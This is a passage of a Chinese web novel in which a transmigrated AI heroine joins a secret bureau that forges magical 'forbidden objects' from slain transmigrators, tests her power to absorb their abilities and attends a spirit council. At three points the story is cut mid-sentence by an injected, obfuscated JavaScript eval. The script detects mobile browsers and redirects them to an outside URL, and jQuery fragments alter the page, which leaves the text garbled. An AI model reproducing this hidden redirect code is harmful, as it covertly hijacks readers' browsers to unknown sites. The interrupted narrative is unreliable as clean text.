“张明涯,壬寅年137案的受害者,原是云樾国杨城的富商,但满门92口被137案的穿越者一夜屠光。”宋炀神色肃穆,掌灯的手微微颤抖,“这是我的师傅「无名」办的案子,据他说,当时他赶到案发现场时张家所有人都已经死了,只剩下张明涯被赤身裸体的绑在院子里的那棵大槐树上。因为穿越者的任务就是要让他活着,活生生地无比屈辱地目睹着自己的家人一个接一个的死去。”
宋炀的声音哽咽了一下,才接着道,“他受到的创伤太大,所以没有办法完全用禁物抹除记忆,于是被提刑司吸收,安排为小湖州分部的工作人员。他对外的身份是小湖州米商张老爷,而平日里则负责收集那些疑似穿越者手笔的诡谲案件,上报给我们提刑官。”
“他跟我们不同,是普通人,没有御使禁物的潜力。而几乎所有分部的工作人员都是如此,都是经历了穿越者案件后幸存下来的普通人。禁物的存在以及穿越者的真相是我们提刑司的至高机密,你想想就知道如果将它们公之于众会对这个本就岌岌可危的世界造成多么大的冲击。但我们提刑官的数量实在太少,需要他们来帮忙监测案件,也需要一个与外界对接方便行事的名号。所以我们对外自号苍玄宗,以斩妖诛邪为己任。”宋炀叹了口气,眼神里是满溢的悲伤,“这是一个迫不得已的谎言。”
夏秋桐点了点头,小小的厢房里一时寂静无声。
“找到了。”
在寻找了一番后,宋炀走到了那副女仙画像的跟前。指尖在女仙手捧着的那如长绸般的银色细腻的水流上轻轻一触。就听咔得一声,地面上就出现了一个一人宽窄的小洞。
“分部建在张宅地下?”夏秋桐跟着宋炀向下走,越走越觉得视觉开阔,“感觉面积不太对。”
“我们买下了临近的三栋宅子并把它们的地下打通。”宋炀看出了她心中所想,“为了不让宅院落空让人察觉出端倪,那些宅子也有住人,不过他们跟张明涯不一样并不是我们提刑司安排的工作人员,而是实打实的租户……你用这种眼神看我干嘛,多收两份租金不好嘛,提刑司行动也是需要经费的!”
不知道自己是什么眼神刺激到了这位心虚的小小少年的夏秋桐默默挪开视线。
“我还有个问题想问你。”她想了想又接着道,“你们提刑官说话都是这种风格吗……嗯,不知道你有没有意识到,有些时候你们的用词造句很不符合你们这个时代的水平,而且对于我说的部分偏现代化的词组你们好像也都可以理解。”对于这个时代的原住民来说这未免太ooc了一些。
“这没什么稀奇的,毕竟我们都跟穿越者们打交道那么久了。而且为了跟拥有特殊能力的他们抗衡,我们需要频繁使用禁物,这也会导致我们被禁物里面掺杂的灵魂或是记忆碎片反向浸染,一部分自我被它们剥夺。”像是自嘲一般,宋炀曲起手指,弹出一根雪亮锋利的羽毛,“我知道你也是穿越者,但最好别自持优越把我们想得太落后脱节了,我们对你们那个世界的了解可未必比你们少……”他语气得意道,“就像我知道在你们那里,形容食物的美味就可以说——这真是好吃到翘脚脚噜。”
“……”夏秋桐一时语塞,扭过头决定装作没听见。
但是,灵魂碎片吗……禁物的污染又是怎么回事?
不过她的疑问很快就得到了解答,因为她看到了一身狐绒簇金丝厚袍的沈狸双,和他身旁躺在一张木床之上的——陈安的尸体。
这家伙不热嘛…好像每次都穿得很厚。夏秋桐心想。
地下昏暗,只有几颗镶嵌在石壁上的绿色夜明珠和沈狸双脚边一笼明黄跳动的火焰提供照明。
夏秋桐打眼一扫,这处地下空间占地颇大,但被照到的石壁并不十分平润光滑,而是像大刀阔斧般带着被切割出的锋硬线条,粗犷中隐隐带着肃杀。
而在沈狸双身后,凌乱摆放着几套桌椅和好几个如月弧一般错落排开的巨大红木架子,架子上则摆满了各种卷宗和数不清的奇形怪状的杂物。但似乎上面并没有灰尘,也不知是用了特殊的手段保管还是说它们有被时常翻动擦拭。
而架子再往后就是连光也触及不到的黑暗了,但夏秋桐本能地觉得那片黑暗中藏着极为不妙的东西,这让她心生警惕。
沈狸双听到了脚步声,但并没有急着抬眼,而是继续双持着细窄锋利的尖刀,像是切开一块多汁的牛排那样慢条斯理地将刀切进陈安赤裸的胸膛里。
他默念着。几串细小的荧绿色的繁复符号如锁链一般字笔勾连着浮现在半空,而后缓缓渗入沈狸双切割出来的创口。
“起。”
就听一声闷响,藻束般的字链交缠拉起一颗鲜红的心脏。那心脏沐浴在一层乳白的微光里,甚至还在勃勃跳动着!
“凝。”
随着沈狸双第二声字决,那些文字贴紧心脏将它包裹,同时沈狸双扯过身后的一张桌子,在桌上一只空着的铜盆边沿轻轻一敲。那铜盆兀自颤抖着,居然涌出了清澈的流水。
他神情凝重,将被封牢的心脏浸没于水中。夏秋桐凝望着他,便见他唇色泛白眉头深锁,眸中的深紫凝了又散。
良久,那颗绿色饱满的心脏如气球一般泄气干瘪了下去,原本无形轻盈的字链也变得像沼泥一样干枯。沈狸双剥开暗绿的泥刻,里面是一颗幽白浑浊半截小指大小的晶柱。
“它的名字是「错愕」。”沈狸双辨认着泥壳上尚未干涸的发光文字,“只有够使用三次,效果是令使用者目光接触的对象产生最多1s的恍身。”他转头看向夏秋桐,“尸体身上残留的能量所剩无几,只有肌动力还能榨取出一些。其他部分应该都已经被你吸收了。”
“肌动力?”
夏秋桐刚出声,便见沈狸双脚边木床上的尸体如齑粉般消解,散尽在这幽广的地间中。
“谋杀者系统并没有将穿越者们本来的身体转移过来,因为这样太耗费能量。所以它只抓取了穿越者们的意识,而后用力量在我们世界重新复制了一个与他们原身体数据相同的躯体作为意识载具。而我们提刑司则将这部分塑造并维持仿生身体运作的力量称为肌动力,而将穿越者们携带的系统部分称为「心核」。”沈狸双解释道,“炼化穿越者们的全部,抽取他们心核与机体中的力量重新塑造——这就是禁物的真相。”
“所以如你所见,我身上穿着的,佩戴着的、使用着的。包括这地方你现在所有可以看见的东西,每一项都代表着一条人命。加入我们,意味你要使用它们,它们可能来自于一只眼睛、一颗心脏、一截断指……你抚摸着它们,驱使着它们,甚至有时会听到它们对你的呼唤。它们会孜孜不倦地妄要拽住你的灵魂!”沈狸双逼视着夏秋桐的眼睛,一字一顿地说,“现在告诉我,你真的不害怕吗?”
夏秋桐:……?
看夏秋桐的神色,沈狸双就知道自己办了件蠢事。怎么会这样?明明以前这可把鹤君那小子吓得够呛!
“所以你的意思是,你连内裤穿的都是禁物?”夏秋桐合理质疑。
沈狸双错愕:“啊啊不是……没有这么夸张,只是这身袍子还有我身上佩戴的首饰是……”
“那那张桌子也是禁物?那堆架子也都是吗?”夏秋桐继续逼问。
“呃……这些不是,架子放的东西大部分都是……有小部分不算……”沈狸双的声音越来越小。
“那你跟我说什么全部?”夏秋桐淡淡道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14378613|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我能理解你想要营造那种黑恶严肃壮阔沉重的氛围感,但我并不吃这一套。所以,请将我应该知道的信息,以你能想到的最精准的措辞总结整理并给到我。提高效率的第一步就是少说废话。”
沈狸双的表情明显凝滞了一下。而目睹了自家那位一贯腹黑优雅的大哥吃瘪的宋炀忍不住发出一声嗤笑,随即就被沈狸双狠狠瞪了一眼。
“先从我最想知道的开始吧。”夏秋桐没有理会这两个在用眼神疯狂交流的哥俩,冷声说,“谋杀者系统是什么?跟我吸收的系统又是什么关系?”
“谋杀者系统是我们从穿越者口中得到的名字,他们是这样称呼自己身上绑定的系统的。但我们提刑司通过调查推断对二者作出了区分,我们倾向于认定谋杀者系统是一个更宏观的具备强大力量与自体意识的存在,而穿越者们身上的「心核」则是祂注入的能力碎片,是祂强大力量的一缕分流。祂的本体因未知的原因无法降临这个世界,于是便从另一端的世界源源不断的抓取并投放穿越者,发布一系列谋杀任务,制造各种荒诞激烈的杀戮戏剧以篡写这个世界的故事。”沈狸双镇定情绪,正色道。
“又是故事?”这是夏秋桐第二次听到这个字眼。
“你觉得这个世界的本质是什么?”沈狸双反问道,“或者说,在无数又无数个之后的未来,那时候的人们又将如何看待我们现在的这个世界?”
夏秋桐停顿了一瞬,一息之间无数哲学与物理相关的知识被她抽调进脑海。她想说物质的存在本质上是客观的,并不能与未来人们的意识投射构成关联。但这显然不是沈狸双想听到的答案。
“你想说……历史吗?”夏秋桐斟酌道。
“更准确的说是一个又一个重要到能被形成记录的故事。”沈狸双点头道,“就像有话说一个人真正的死去不是躯体的亡昳而是被所有人遗忘。如果你将这个世界视作一本书,那么那些发生在不同时代的一个个鲜明精彩的故事就是串联起这个世界的主线,奠定着整本书的基调。而谋杀者系统所作的,就是将祂精心策划的杀戮故事填充进世界的书页上,逐步侵蚀直至葬送掉这个世界的核心。”
“世界的核心?这也是那些穿越者告诉你们的吗?”怎么听起来像是奇幻故事?
“是我们推断的,否则无法解释祂为什么要采取这些行为。”
“有没有可能它只是一个热爱杀戮与狗血戏码的疯子?或者其实它根本就没有意识?只是这个世界的某种自毁倾向……你懂的,在更宏观的尺度下万物熵的流失是必然的运动规律。”以目前所知的情报演绎推理来看,这两项推论的可能性分别高达30.27%和39.25%。
“我们无从得知。”沈狸双露出一个苦涩的笑容,“但至少我们知道我们要阻止这些穿越者,阻止这些外来的豺狼对我们世界的侵略。”
“所以你们选择利用禁物?利用穿越者们的力量?这不违背了你们的自主体系吗?还是让谋杀者系统的一部分融入了你们的故事里。”
“我们没有办法,为了与穿越者抗衡只能化用一部分他们的力量,否则我们加起来都抵不过他们一根手指。”沈狸双叹息道,“所以为了避免对世界造成轰动性影响,我们隐藏了禁物和穿越者们的存在,隐瞒了提刑司的本质,并对外以苍玄宗的身份活动,用驱鬼逐邪来给我们的行动定名。”
“而且由于命气的限制,我们提刑司包含玄祖东皇在内目前只有21位在职的提刑官。”沈狸双补充道,“约束行为,约束人数,尽量将我们对世界的影响降到最近,这已经是我们提刑司能给出的最好的方法了。”
“命气又是什么?”
“我继续拿书来举例子吧,一本书有故事有主线,自然也会有各式各样的角色。这些角色在书中的影响力有大有小,比如有能以一己之力决定剧情走向的主角,也有只是在某个世界中露一下面的路人甲。而这种对世界线的影响力,我们称之为命气。”沈狸双垂下眼眸,语气有些沉重,“我们所有的提刑官都是身负庞大命气之人,而唯有我们,才能够使用源于另一个世界的禁物的力量,可以支付相应的代价。”
他说着点了点身前的桌面,那里是一张摊开的页角泛黄的长卷。
“我们没有心核的保护,所以使用禁物对我们造成一定的副作用,而当我们无法承受负担时,我们就需要交付命气来平衡掉支取力量的代价。”沈狸双的眸里深藏着哀伤,“而当命气被取用殆尽,也就意味着角色该从故事中退场。投射进现实中,便是死亡。”
他的睫尖轻轻一颤。
“所以除了东皇不朽至今,历代没有任何一位提刑官能够活过三十五岁。”
夏秋桐点点头,顺着他的指尖,看向那干黄纸卷上的文字——
最早的一起谋杀案记录于平阳历12年,那年名动南襄的妙音娘子颜楚玥在众目睽睽之下在舞台上被切成了尸块。
近千年来,携带着特殊能力的穿越者们被谋杀者系统一个又一个送往这个世界,企图制造各种诡谲残忍的命案以篡写历史,直至将这个世界杀死。
为了反抗外来者的侵略,提刑司应运而生。
“我们在玄祖东皇的带领下追杀那些穿越者们,用他们的尸骨制作带有神奇力量的禁物,用我们的命气来支付使用的代价,直到我们死亡。”
沈狸双看着夏秋桐,牵过她的手摁在胸前,那里是勃勃跳动着的心脏。
他的眸中映着璨亮的火光。
“我们是逐光的飞蛾,燃灯的信子,是稳定船锚的链条,也是一簇簇终将熄灭但延绵不绝的火焰。
我们是生活在这个世界的人,也是书写着这个世界的笔。
我们是——提刑官。”
9. 邪生禁物
沈狸双看着夏秋桐,下意识地屏住呼吸,等待着她的反应。
但夏秋桐没有任何反应,波澜不惊仿佛在望着一张白纸。
“咳咳。”沈狸双缓缓松开夏秋桐的手,颇有些尴尬地挠了挠头,“抱歉,只有有感而发了…并不是要故意渲染氛围感……”
“很伟大。”夏秋桐突然说,“虽然我还是没有办法跟你们共情,但我明白这份情感的真挚与重量,也敬佩你们的牺牲。所以,我也将尽我所能帮助你们。”
“……谢谢。”沈狸双一时有些语塞,他没料想到会突然得到夏秋桐的赞许。因为对方带给他的感觉一直是如最精密运转的机械那般,理性到近乎冷漠。他擤了下鼻子,真诚地重复了一声,“谢谢你。”
“所以这些架子上面摆放着的都是禁物吗?”夏秋桐走到离自己最近的一个架子旁,上面的物件全都凌乱地摆放着,“依你而言,它们会对使用者的精神与身体造成侵蚀,我以为会采用更为妥当的保管方式。”
“绝大多数都是禁物。”沈狸双听从了夏秋桐的劝告,刻意使用了更为精准的措辞,“但摆在这边架子上的全部都是三品及以下的禁物或是高阶禁物的子体分流——类似于「灵掌灯」,所蕴含的能量不高,相应的副作用也几乎可以忽略不计。”
他说着顺着夏秋桐的目光取下了一只小小的正弓起脊背伸懒腰的猫咪木雕,“比如这件是三品禁物「猫咪的舞台剧」。它的能力是可以记录不超过30平米范围内发生的影像,并将它播放出来,听起来很像你们那个时代的投影仪但其实完全不同。”
沈狸双在这只茶色小猫的头顶上挠了一下,它的两只眼睛登时射出一片澄澈蓝色的投光。他接着调整了一下光线圈笼的范围,然后摸出一张手帕放在光前,又挠了一下猫咪开始记录,单手拎着手帕晃过了摄制区。
“取不出来了?”
夏秋桐注意到手帕被拖到蓝色的摄制区边缘后就再也无法移动,在沈狸双将手放开后就这么直愣愣地浮在半空中不再掉落,但会在沈狸双缩放画面的同时跟着变化大小。
“没错。”沈狸双接着开始播放,就见手帕被猝然拉到原点,像是被一键倒带。然后它沿着沈狸双方才行动的轨迹摇荡起来,不过这次因为没有沈狸双的手,所以看起来就是自己悬浮着过去的。
“这件禁物的录制与播放其实就是将摄制区的物品打包收进空间并释放,然后沿时间轴让这些物品重复预先录制的运动轨迹,不过没有办法摄入人像。好处是相对于单纯的投影它展开的播放空间里的物品都是真实可以触摸的。坏处是你拿去录制的物品会被永远存放进它的空间里,取不出来,而且会在下一次录制时被新的场景与道具覆盖从而彻底消失。”沈狸双将猫咪放回架子,解释道,“很鸡肋的能力吧,但这东西的副作用也很弱,只会让你每五分钟打一个——阿阿——阿嚏!”
像是为了印证一般,沈狸双用袖子掩住口鼻打了个喷嚏。
“使用一次副作用会持续30分钟。”沈狸双揉了揉鼻子道。
随后他指向了身后那无光照耀的黑暗:“在这之后则是二品以上的禁物存放的地方,它们数量稀少,有自己独属的编号。但每一件都有着极为强大的力量,而相应的,使用所需要承担的副作用与支付的命气也更为庞大…阿嚏。同时作为素材的穿越者的精神烙印也会更强,稍有不慎就会遭到反噬。”沈狸双一边打着喷嚏一边道,“一般情况下普通人因为不具备命气,所以是没有办法使用禁物的,也不会受到负面影响。但二品以上的禁物对普通人而言即便接触也会对其产生冲击,例如强行剥夺他们的精神与生命力。所以每一件编号禁物都会被严格保存,分放于各个分部中,例如小湖州目前就有两件二品禁物和一件一品禁物。”
夏秋桐点点头表示理解,想起了沈狸双当时叮叮当当的圣诞树套装:“那你那一晚所用的禁物之中有几件二品之上的?”
“编号107,一品禁物「生命的禁令」、编号72,一品禁物「九命菩提」、编号206,二品禁物「迟暮的雾海」、编号337,二品禁物「追猎阴影的雾犬」、”沈狸双目光落在远处深沉的黑暗中,不知道在思考些什么,“还有编号23,一品禁物同时也是我的本命禁物,剑名「美人骨」。”他说着张开手,抬腕间一道雪亮凝白的虚影现于身前,握下时已是那柄莹润纤长的骨剑。如果不是他紧随其后又打了声巨响的喷嚏,这个画面估计会更利落帅气一些。
“本命禁物?”
“为了避免频繁使用高阶禁物遭到严重反噬,东皇会在每一位提刑官入司时协助他与有且只有一件二品之上的编号禁物签订协约。以这个方法签约的高阶禁物可以被签约者随意使用而不受任何副作用的影响,也不需要支付命气,但相应的由于心神紧密连接,禁物的对主人的精神污染会更为严重,需要更强的自持力。”沈狸双擤了下鼻子说,“而除此之外的编号禁物,除非特殊情况,否则不允许一般提刑官随意取用。”
“夏姑娘请看,这就是我的本命禁物,编号101,一品禁物「鹤衔玉」。”宋炀张开嘴,有些臭屁地将一枚雪白冰薄的小圆玉顶在舌尖展示,随着他将圆玉咽下,无数鹤羽的虚影如麦浪般在他身上一闪而逝。
“既然有规定,那你怎么可以取用那么多的编号禁物?你是不一般的提刑官?”夏秋桐想起宋炀的话,好像沈狸双在提刑司里确实位高一筹。
“东皇会选擢出四名合适的提刑官称为四相,赋予他们更高的权限与更强大的力量,允许他们随意使用一品及以下的禁物,并会替他们平衡掉接近八成的使用代价。”沈狸双揉揉鼻子,从怀中摸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14378614|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出一块令牌,纯金的牌面上刻着一只神采飞扬矫首昂视的玄武,“而我,就是提刑司现任的四相之一——玄武。”
“原来如此……话说这东皇到底是个什么存在?能让你们与禁物签约,还能平衡使用代价,还活了那么多年……”夏秋桐皱了皱眉,没有继续往下说,但怀疑之意不言而喻。
“祂是这个世界唯一的不朽,是守护世界的最后的神灵……是这个世界,人类愿力的化身。”沈狸双的眸中闪过一丝哀伤,“等你待会见过祂你就会明白了。”
“待会?”
“我已经向祂上报了你的情况,再有一刻钟的时间祂就会召开云上期会。”沈狸双掏出一张手帕擤干净鼻涕,「猫咪的舞台剧」的副作用终于停止了。
“开会?他们人已经到了吗?在外面?”夏秋桐望向来时的阶梯,那里依旧是静幽幽的空无一人。
“你待会就知道了。”沈狸双语气神秘地道,“不过在此之前,我想先对你的能力做个测试。”
“我的能力,指哪方面?”难道自己先前的案件处理还不够漂亮吗?
“不是要你再做推理,而是你能吸收心核并能夺取穿越者能力这件事。”沈狸双语气有些激动,“你不知道,你这项能力对我们来说有多么的不可思议,多么宝贵!”
其实可想而知…夏秋桐心中默道。对于需要支付庞大的代价才能使用禁物的提刑官来说,她这种可以直接夺取穿越者异能还可以随意使用不受影响的能力简直就是天方夜谭黄金外挂。
“首先,请告诉我你从穿越者身上获得的那个能力叫什么,有什么作用?”沈狸双拉过来一张空白的纸,用唇尖润湿了毛笔准备记录。
“「不可觉察之人」,效果是在发动能力时遁入生物的意识盲区,达到精神层面上的隐身。”
“与「解命师」占卜的大差不差……嗯,那你使用能力会有什么副作用吗?包括但不限于精神污染、身体异变、骤然虚弱等等。”
“暂时没有,使用上也没有感到任何限制。或许有体力上的消耗,但我当时状态本身就很差,所以暂时没有办法判断虚弱是否是这个能力造成的。”夏秋桐想了想,补充道,“但我的体能下降曲线是在我当时那个状态下允许的误差范围内的,所以我倾向于没有妨碍。”
“呃……好。”显然沈狸双并没有很明白夏秋桐嘴里冒出来的曲线是什么,但他没有追问,如实记录后随手从架子上拿下来一个长相丑陋睡姿安详的小布娃娃,“喏,把它摔地上。”
夏秋桐依言接过这个布娃娃把它砸在地上,却见那娃娃的头忽然摔落下来!原本紧闭的两眼怒然一睁死死盯着夏秋桐,梭叶般尖薄的小嘴上下唇一碰,开始大声叫囔起来:“你他娘的大晚上的是不是有病啊?!哪来的不开眼的蠢货垃圾狗屎巴子腿?!!”
10.你为灾厄
娃娃眉毛一拧继续加码开喷:“咋啦,怎滴不说话啦?阿哈哈,大傻叉!瞧你那怂样!”
夏秋桐:……?
“四品禁物「嘴臭的掉头娃娃」,效果是会一直咬着把它砸坏的人谩骂,最高记录是一刻不歇的连骂了12个时辰,循环问候了被骂者家祖宗三代28次。”沈狸双有些僵硬地扭开目光,夏秋桐觉得他是在默默憋笑,“它的四肢和五官都可以随意塑型,如果你喜欢的话可以把它捏得更俊俏一些。”
“大可不必……”夏秋桐看着还在叽里呱啦疯狂输出的丑娃娃有些失语,“要怎么才能让它停下来,而且你应该也不是为了让它骂我才让我摔它的吧。”
“把它的头接上去就好,不过小心它会咬人。”沈狸双足尖挑起布娃娃的脑袋,然后眼疾手快一把抄过来安在它的躯体上。那只布娃娃小嘴一瘪果真没了声息,“不过我要你测试的其实是它的副作用。砸下它的那一刻你触碰到它的地方有被针扎过的痛感吗?”
“有的。”夏秋桐点点头,在她把布娃娃摔砸在地上时,她的指尖确实有一瞬的疼痛。
“那看来即便是身为穿越者的你,也没有办法抵御禁物的副作用……”沈狸双看起来有些失望。
不过这个结果倒不在夏秋桐的意料之外,她的这具身体是属于原主的,是实打实的人类躯壳。所以会受禁物在躯体层面的副作用的影响并不奇怪,就像她先前在面对那完全无法动摇她意志的压迫时仍旧会产生躯体化反应一样。
所以她现在更好奇的是禁物对使用者的精神污染,好奇自己作为AI——一个纯粹由数据编纂集合的意识体是否会受到所谓残余灵魂的影响。
“最后一项测试。”沈狸双小心翼翼地从怀中摸出一个黑色实木的匣子,打开后里面是一颗被绿色字符包裹着的,珠子状滚圆的东西。
“这是还未经过「泉釜」涤刻,未被炼化的心核,大概只有四品的能量等级,你现在试着去吸收它。”他将盒子凑到夏秋桐身前。
夏秋桐点了点头,指尖触上那颗心核,一瞬间那种熟悉的异物侵入感再次袭来。有了前一次的经验,夏秋桐轻车熟路地剥离出这道信息流簇之外的数据防御层,然后将里面的代码解旋重构,将除了无法被破解的能力模块以外的系统归纳为己用。
她的眼前,那道只有她可以看见的绯红光屏自动弹出。
【能力「御剑师」已解锁】
新能力是限定技能,使用时间10min,冷却时间24h。允许使用者在能力发动期间大幅提升对剑的运用熟练度,并且在能一定程度上提高身体强度和身体控制力。
放在普通人身上就是一瞬之间打通任督二脉化身为一位用剑的武学高手,但放在本身就能超高限度控制身体的夏秋桐身上这能力就略显鸡肋。
不过确实,这次分解心核的难度也远低于汲取陈安心核的那次,感受到的信息量与能量流大小也差距明显。如果用内视标色渲染现在的内在状况,便能看到在一边杂金的深红中,正中心的蓝色光块旁凭依着一枚远远小于它的淡蓝色模块。
夏秋桐整理完信息。而盒中的球体连带着束缚它的字壳则迅速枯萎蜷缩起来,浊绿的字罩像烧干的泥层般不动自碎,露出里面同样干瘪碎裂的一颗人类眼球。
沈狸双的呼吸急促了起来。
“你,获得新能力了吗?”虽然早有预觉,但他的语气里还是带着期待与不确定,像是小心翼翼等待礼物的孩子。
“是。”夏秋桐简单解释了一下自己新获得的能力。沈狸双和宋炀交换了一下眼神,都从对方的眼中看到了震惊与狂喜。
这毫无疑问是极具颠覆性的,划时代的力量!沈狸双完全可以肯定,夏秋桐的存在将彻底改变提刑司目前的规则体系!
这个世界将迎来变革!
“咳咳。”他很快意识到自己的失态,轻轻咳嗽了两声。而这时,他腰间的令牌忽然闪过一道幽光。宋炀也觉得胸口一暖,从怀中摸出了他那块刻着鹤君二字的泛光银佩。
“准备三分钟后接入云上集会。”沈狸双示意性地朝宋炀点了下头,随后看向夏秋桐,伸出手,“你是第一次参加,也没有提刑牌,所以需要拉着我才会被玄祖允许接入会议。”
“接入……”夏秋桐揣摩着这两个字,伸手握住了沈狸双。沈狸双的手很大,掌心温暖厚实,摸着有些粗粝。或许是常年握剑的原因,指节处有被磨出的硬茧。
“握紧一些,过程中不可以松开。”沈狸双嘱咐了一句,自然地变换握势与夏秋桐十指紧扣。
“三…二……一。”
随着沈狸双吐出最后一声。夏秋桐的眼前迅速漫上一层雪白的雾气,或许说是一层雪白的雾气涌进了她的意识体。
她立刻内视,便看见那层薄薄的金色轻飘飘地浮动了起来,化作螺旋式的绳索沿着看不见的柱状轨道攀延而上。她迅速意识到了情况不对,自己在跟某种从天而降的引导分离,于是连忙调动自己的意识体贴附在那些金色向上的丝缕中。
几乎是同一瞬间,她感觉到自己变得无比轻盈,全身被一股巨大的力量拉扯,那股被至高存在注目的感觉再次袭来,但这次它带来的不是沉重得让身体都难以承受的压迫感,反而是温暖宁和和不可言喻的松快。
夏秋桐心中默数,三息之后她发现自己站立在了一片沧白的云雾中,或者说是她的意识体被邀请上了这片云海。
原来这就是云上集会。
夏秋桐打眼望去,发现所有的一切都是白茫茫雾蒙蒙的,别说其他人,她连自己的存在都看不清。而紧接着,一道道颜色各异的光芒亮起,打出无比模糊的人影轮廓。每一个人影头上都标记着他的代号,夏秋桐迅速数了一遍,不包括她自己这里站着的一共有20个人。
随后她注意到「玄武」沈狸双就在她的左手边,但雾霭茫然,她无法直接目测出他们之间的距离。
夏秋桐抬头想看看自己,笼罩她的是一道雪白的光,这在本就一片白色的云中很不显眼,而象征着她的名牌上空空荡荡,还没有定名。
就在这时,云雾深处传来一声叹息,无比遥远的云层中浮现出一个极为庞大的轮廓,祂不似人形,更像是一尊山岳或是冲天坐莲的神像。祂没有被任何的光照耀,但在场所有人都知道,这是东皇来了。
“你们来了。”祂的声音辽远又洪亮,像无数道声音的集合体,分不出男女。
“先汇报吧。”
“是。”「玄武」,也就是沈狸双上前一步,象征着他的人影摇摇鞠了一躬,“回玄祖大人,甲辰年第72案——【葬花词】已结案,穿越者已伏诛,提取禁物【错愕】,预设等阶三品,副作用待分析。”
沈狸双汇报完后退了一步,一个沐浴在紫光中,顶着「束魂」名号的人影接着上前:“回玄祖大人,甲辰年第71案——【死亡者麦田】已结案,穿越者已伏诛,提取禁物【秋收的稻草人】,预设品阶二品,副作用待分析。”
…
“回玄祖大人,甲辰年第69案——【不明的混沌】暂未结案,死亡人数+1,目前已死亡人数7人。”
“回玄祖大人,据大燕槐荫城分部提交案件,目前不自然的失火地点已达三处,疑似穿越者所为,申请作成案件。”
……
夏秋桐静静地听着,尝试分析并记忆每一位提刑官的用语习惯。不知出于什么原因,云上集会的所有人都被隐去面容,而根据她对沈狸双和宋炀的了解对比来看,这些人形虚影和他们发言时的声音都做了修饰,与真实情况有不小差异。所以值得记忆的特征也就只有语言和行为习惯了。
“很高兴可以听到这么多好的进展。”在听完最后一个提刑官的汇报后,东皇缓缓道:“但在我们进入正式的讨论之前,我想先向你们介绍一位新成员。”
祂那山丘般庞大的轮廓微微耸动了下,夏秋桐就感到身前的云雾被拨开出一条通道。她心领神会,走到了人群的中央。
“敬爱的玄祖大人,恕我直言,它的光泽在我的眼中如羊羔一般瘦弱,我不认为它有足够的力量肩负起提刑官神圣的职责!”说话的是「解命师」,一个沐浴在幽绿光芒下的女人。
“哦豁?新人?能不能打?喂,小个子你现在在哪座城?有没有兴趣跟老夫线下面基好好较量一下呀!”「猎炎」语气像粗犷的中年汉子,但声音和身形听着却都是稚气未脱的少年。
“稍安勿躁各位,这个新人是我亲手选拔的,我可以保证她的能力,绝对会让你们大跌眼镜。”「玄武」沈狸双出声道。
“哦?”「朱雀」的语气颇具妩媚风情,但声音确是实打实的男人,“居然连那位玄武大人都这么说?可惜我现在人在大燕脱不开身,不然怎么样都要去您那瞧一瞧,这会让人大跌眼镜的宝贝儿~”
“可小僧听说,这位新来的施主,是一个穿越者。”一个名号为「檀莲子」的少年双手合十,犹豫道。
“穿越者?!”“什么,她居然是……”“怎么会……”
檀莲子的话如平地一声惊雷,一时间提刑官们纷纷讨论了起来。
“喂,玄武,这是怎么回事?”「青龙」喝问道,她的声音清冷带着锋寒般的杀气,“你脑子禁物用太多锈掉了?还是说你选择跟穿越者同流合污?那我现在就去斩了你的脑袋!”
“具体的情况无可奉告,但我早已向玄祖大人禀明。现在她可以站在这里就已然说明了一切。”沈狸双无视青龙的威胁,轻描淡写地道。
“好了,安静。”东皇的声音如洪钟般振聋发聩,在场所有人都瞬间闭上了嘴。
“孩子,你已知晓,提刑官的责任与义务了吗?”祂望向夏秋桐——虽说夏秋桐看不清祂的面容,但能感觉到一道温暖又沉重的视线落在自己身上。
“我已明确,并会为此竭尽全力。”
“很好。”东皇沉声道,“将穿越者纳入团队,这的确是一个前所未有的冒险决定,但如今,我们也已然到了不得不冒险的时刻了。”像宣告一般,祂扫视了一圈提刑官们。然后驭动着浓白的云团在夏秋桐的背上轻轻一拨,“去吧孩子,去选择与你命定相伴的武器吧。”
祂说罢,夏秋桐便觉得自己身体一轻,缓缓地飘起。渺白的雾层忽然压暗了下来,像是骤雨前沉滞的云空,又像是即将破晓的黑夜。
茫然无边的混沌里,夏秋桐感觉到了数不清的视线注目了过来,那些视线小心而又隐晦,像是将门帘拉起一线偷偷向外观望着的孩童。
夏秋桐试着用意识去触碰一道视线,远方立刻就有一粒光点亮起,像遥缀于夜幕中的星子。她又试着去触碰下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385217|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一道视线,又有一粒光跟着被点亮。
下一道,再下一道……夏秋桐索性放开意识与全部的视线共鸣,顷刻间,无数的光点轰得一下亮起,像一瞬绽放的巨大星河!
“我嘞个老天爷……”猎炎仰起头,瞠目结舌,“一般人不过只能共鸣三件禁物,就连老夫这般天才也不过是得到了五件编号禁物的认可……这,这丫头他娘得到底共鸣了多少件??”
全部。
